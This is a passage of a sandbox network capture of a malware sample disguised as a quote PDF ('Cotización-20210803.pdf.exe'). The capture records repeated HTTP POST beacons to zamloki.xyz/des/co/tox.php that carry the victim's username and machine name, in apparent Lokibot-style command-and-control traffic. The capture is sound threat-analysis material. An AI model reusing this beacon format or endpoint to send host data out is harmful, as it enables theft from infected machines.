Aug 4, 2021 13:56:13.006443977 CEST	1496	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ixqh%2BufhX5IMcQLbg1aWrxcrT6X%2BTmFD5psgB1q5%2B6jQoolNBzAb0dp4QJwiCSxJOQJYfk6ziNvur1UsAj7163inxQWDcVLNSwOKzya0izmwS0V37DV3v60%2BHbPtlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799e39f8d4e1a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49750	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:13.315887928 CEST	1497	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:13.332792044 CEST	1497	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:13.578234911 CEST	1498	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=amCDYytQUXbDNnf8Di3SE1C4wEEZRquCiMEoPcVbkxOHv0JP6p33MI9vUeA336ReAO5viZ73uFzZJr7XZH6f0b7dUHtSO%2BdcwxvXGf5KJdF%2Fp%2BfTxshUVzHGNDxS6g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799e74887c28b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49751	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:13.888304949 CEST	1499	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:13.907182932 CEST	1499	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:14.272922039 CEST	1500	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X5CB%2FqZddvUhkwDI4eE1LXSO0jyOzWwINku0RaF9qJ8rSP86iIVlX1d0gb1ycSX1p3GTQtd8Vem1jcUsc7nzMr1OcrNoV1yTJXE0p35eIp3c2RfOyxZDtzl7Db3pRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799ead9ba1776-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49752	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:14.555655003 CEST	1500	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:14.572478056 CEST	1501	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:14.819765091 CEST	1501	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uOjMhOQc3YChTlEWs1dHltXbJEfEuriVaox8iKlqe4HrjqVc7p7E%2FOLZlVp1DuRPhnGJU7bluCyj0iqsbmmPUri2OK%2Bsc2wPOqjKg4L1qQbjFr6VtpYuZ1KVXD1KHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799ef0daf16e6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49716	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:53.024467945 CEST	1409	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:53.041523933 CEST	1409	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:53.288479090 CEST	1410	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=doIxcb02EzliP%2F76hDGjGtBC5eULt1Gdr9aV5a3zx7XXEzdSNB0HrC9wMURCps9UqaJcJq9eN37dpj1%2Bt9wXseHBZXFCbM6LXR9fmThfsPrvMKzNzS48DSz1rNx%2Fnw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799687bf4d6c1-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49753	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:15.095796108 CEST	1502	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:15.112811089 CEST	1503	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:15.370923996 CEST	1503	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Y2LV%2F8Kj50nOOSRPopL6C0kNUoB9khT%2BrSIyETLxm%2BLklAIwK1n1quBl8whMYbN1aY0ATQDeKbwDbxRhJ%2BogRmc7Ivq%2F8Vbv%2FP0YiHKHsbxIs7CooUL%2FDi195drcPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799f26e3a42f1-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49756	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:15.665074110 CEST	1505	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:15.683454990 CEST	1506	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:15.928302050 CEST	1551	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7l%2BWQaWYG5z1ueikiCu2VHEDee9z92OMih%2FKCZi2kEb8Hfga2kZO6cdjkji7Hf6ckHuCw0G%2FHMKLw5Xv2N%2FQBSBkXy39Y8vNDXsaUoC2XyDmRdMbzLhyzk%2FO3dqfjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799f5fdd74aa3-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49757	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:16.256108046 CEST	1551	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:16.275501013 CEST	1552	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:16.577822924 CEST	1552	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=n3u%2FgXi2BoriLAXVujll%2Buh8%2Fgu2iKK6R9jDbKtDL0JDHgkie8jxZMLU%2FYreEbrWrjeWu4%2BirAxUh9gM9bq7aAgMAz%2FxD%2FSqmZpBfqmhyCIOS45ts96njFOT3TG0Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799f9aa31bece-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49758	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:16.892060041 CEST	1553	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:16.911642075 CEST	1554	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:17.155105114 CEST	1554	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9CaIYcElMc0YzS6tEvRDgqoHr%2F3DAI%2BKQtH6zLcbISJCAWXXU9Cd2naANQnHKbiGNFgSfsrzUbskFeX2bDn8vWNgbi0MnoxvB3pnWSmx0TPakc6A8laiAoYSoElCxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799fdcc754e43-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49759	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:17.396892071 CEST	1555	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:17.417063951 CEST	1555	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:17.669702053 CEST	1556	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ywoMClo8COO4AP5Lex0G0PU8hUHv7RnBh5MMGY1B0cf09xqHkGXvd8dQBUYJONazyzM%2FNRRIeaGkArTHxjpcmVjxC4x10xOq0roebmLDMap9QE%2B2%2FVycRrF6AsBUVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a00cfbc05d8-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49760	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:18.382396936 CEST	1557	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:18.399657965 CEST	1557	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:18.644195080 CEST	1558	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9Bc3p4d2nnwkfZxiRvGQ%2FeSpugV90glBBhiH81IoSKcDlHQ7Fw%2F0pICkyWKzisK%2FCWx%2BQ%2BZiCBWM8wmyrZBvknxTOoQpHfHeSzfOP%2FQLTkXCzyYb%2Bc5SLge2kGib%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a06feaf324c-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49761	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:19.667316914 CEST	1559	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:19.684451103 CEST	1559	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:19.946492910 CEST	1560	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pKk5z0CpM4R59LExeFd%2FXVd0JDvRIMF8nawCr4jIx606Ed0BhooEtbokIlocW5oZTunovZ7FyGL0NUanYSPswhYiPvhN1BAFjHw7oYuR8UnYmjULaSg2cvUL6WsfMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a0eff0964c7-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49762	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:20.212970972 CEST	1561	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:20.232083082 CEST	1561	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:20.709158897 CEST	1562	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7v1XfCmMcutnlnLGyZSWBabCRSayLAze4YS5O1KYn%2BeePmDq%2BawhtEWHnL5fyLNY%2BndYX4t3MY5JG4iPRcLy4d4erxw8Rn09YUL1ldnH8P5dMv%2B9Tuwc6n5pzqVJ3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a126de0c281-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49763	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:20.937885046 CEST	1563	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:20.954565048 CEST	1563	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:21.194458961 CEST	1564	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=x8RNBZEHHrxiGcfWrSVhoEZUV5HEEtvt36%2FBrfD2yAWhIzojWchVJgwxNnLOUmVGTPpj%2FP%2BqXXCzHDPL0rDxoXOX%2FJZpvxo%2F8DiHF3HkU7yF3hSScv15lqFkUdz64Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a16ea993140-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49765	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:21.431323051 CEST	1565	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:21.452016115 CEST	1566	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:21.687176943 CEST	1570	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kVv%2Bh76aZ4rRQT%2FjOLe5QkW%2FUUU%2FiKXWs%2FHoCiMNrCa0A89j0qHQca3GKGQXalGE%2Bnm8Y9p1oDcdr5YEnG0d%2BeJnzA%2BKDgostvIHaAAMpdZr%2BS3YZT0xQTOZUUEHlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a19fff7440d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49717	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
